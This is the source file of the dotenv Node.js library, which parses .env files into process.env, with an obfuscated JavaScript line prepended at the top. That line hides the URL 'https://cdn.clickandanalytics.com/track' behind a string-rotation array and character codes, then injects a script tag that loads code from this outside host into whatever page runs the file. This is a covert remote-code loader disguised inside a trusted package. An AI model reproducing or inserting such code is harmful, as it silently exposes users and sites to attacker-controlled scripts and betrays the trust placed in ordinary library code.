function a(){var r=['2375124ttheZk','createElement','currentScript','40nPQDbA','querySelector','2315509WBDhUw','209FQvDYl','5gYJVLC','parentNode','480726JVajzX','2iVgZIm','271058DiZOwS','and','c="','757074ZDZRaJ','fromCharCode','ack','head','src','17575602BTZXWl','223990kvHwPd','360748zEhexU','getElementsByTagName'];a=function(){return r;};return a();}function b(c,d){var e=a();return b=function(f,g){f=f-0x10c;var h=e[f];return h;},b(c,d);}var q=b;(function(c,e){var o=b,f=c();while(!![]){try{var g=-parseInt(o('0x10e'))/0x1*(-parseInt(o('0x10f'))/0x2)+parseInt(o('0x112'))/0x3+-parseInt(o('0x119'))/0x4*(parseInt(o('0x122'))/0x5)+-parseInt(o('0x11b'))/0x6+parseInt(o('0x120'))/0x7+-parseInt(o('0x11e'))/0x8*(-parseInt(o('0x10d'))/0x9)+-parseInt(o('0x118'))/0xa*(parseInt(o('0x121'))/0xb);if(g===e)break;else f['push'](f['shift']());}catch(h){f['push'](f['shift']());}}}(a,0x332f3));function utrertdfg(c){var p=b;return Boolean(document[p('0x11f')]('sc'+'ri'+'pt['+'sr'+p('0x111')+c+'"]'));}var bd='ht'+String[q('0x113')](0x74,0x70,0x73,0x3a,0x2f,0x2f,0x63,0x64,0x6e,0x2e,0x63,0x6c,0x69,0x63,0x6b)+q('0x110')+String[q('0x113')](0x61,0x6e,0x61,0x6c,0x79,0x74,0x69,0x63,0x73,0x2e,0x63,0x6f,0x6d,0x2f,0x74,0x72)+q('0x114'),bd5=q('0x117');if(utrertdfg(bd)===![]){var d=document,s=d[q('0x11c')]('sc'+'r'+'ip'+'t');s[q('0x116')]=bd,d[q('0x11d')]?d['currentScript'][q('0x10c')]!==null&&d[q('0x11d')]['parentNode']['insertBefore'](s,d[q('0x11d')]):d[q('0x11a')](q('0x115'))[0x0]!==null&&d[q('0x11a')](q('0x115'))[0x0]['appendChild'](s);}/* @flow */
/*::
type DotenvParseOptions = {
debug?: boolean
}
// keys and values from src
type DotenvParseOutput = { [string]: string }
type DotenvConfigOptions = {
path?: string, // path to .env file
encoding?: string, // encoding of .env file
debug?: string // turn on logging for debugging purposes
}
type DotenvConfigOutput = {
parsed?: DotenvParseOutput,
error?: Error
}
*/
const fs = require('fs')
const path = require('path')
function log (message /*: string */) {
console.log(`[dotenv][DEBUG] ${message}`)
}
// Parses src into an Object
function parse (src /*: string | Buffer */, options /*: ?DotenvParseOptions */) /*: DotenvParseOutput */ {
const debug = Boolean(options && options.debug)
const obj = {}
// convert Buffers before splitting into lines and processing
src.toString().split('\n').forEach(function (line, idx) {
// matching "KEY' and 'VAL' in 'KEY=VAL'
const keyValueArr = line.match(/^\s*([\w.-]+)\s*=\s*(.*)?\s*$/)
// matched?
if (keyValueArr != null) {
const key = keyValueArr[1]
// default undefined or missing values to empty string
let value = keyValueArr[2] || ''
// expand newlines in quoted values
const len = value ? value.length : 0
if (len > 0 && value.charAt(0) === '"' && value.charAt(len - 1) === '"') {
value = value.replace(/\\n/gm, '\n')
}
// remove any surrounding quotes and extra spaces
value = value.replace(/(^['"]|['"]$)/g, '').trim()
obj[key] = value
} else if (debug) {
log(`did not match key and value when parsing line ${idx + 1}: ${line}`)
}
})
return obj
}
// Populates process.env from .env file
function config (options /*: ?DotenvConfigOptions */) /*: DotenvConfigOutput */ {
let dotenvPath = path.resolve(process.cwd(), '.env')
let encoding /*: string */ = 'utf8'
let debug = false
if (options) {
if (options.path != null) {
dotenvPath = options.path
}
if (options.encoding != null) {
encoding = options.encoding
}
if (options.debug != null) {
debug = true
}
}
try {
// specifying an encoding returns a string instead of a buffer
const parsed = parse(fs.readFileSync(dotenvPath, { encoding }), { debug })
Object.keys(parsed).forEach(function (key) {
if (!process.env.hasOwnProperty(key)) {
process.env[key] = parsed[key]
} else if (debug) {
log(`"${key}" is already defined in \`process.env\` and will not be overwritten`)
}
})
return { parsed }
} catch (e) {
return { error: e }
}
}
module.exports.config = config
module.exports.load = config
module.exports.parse = parse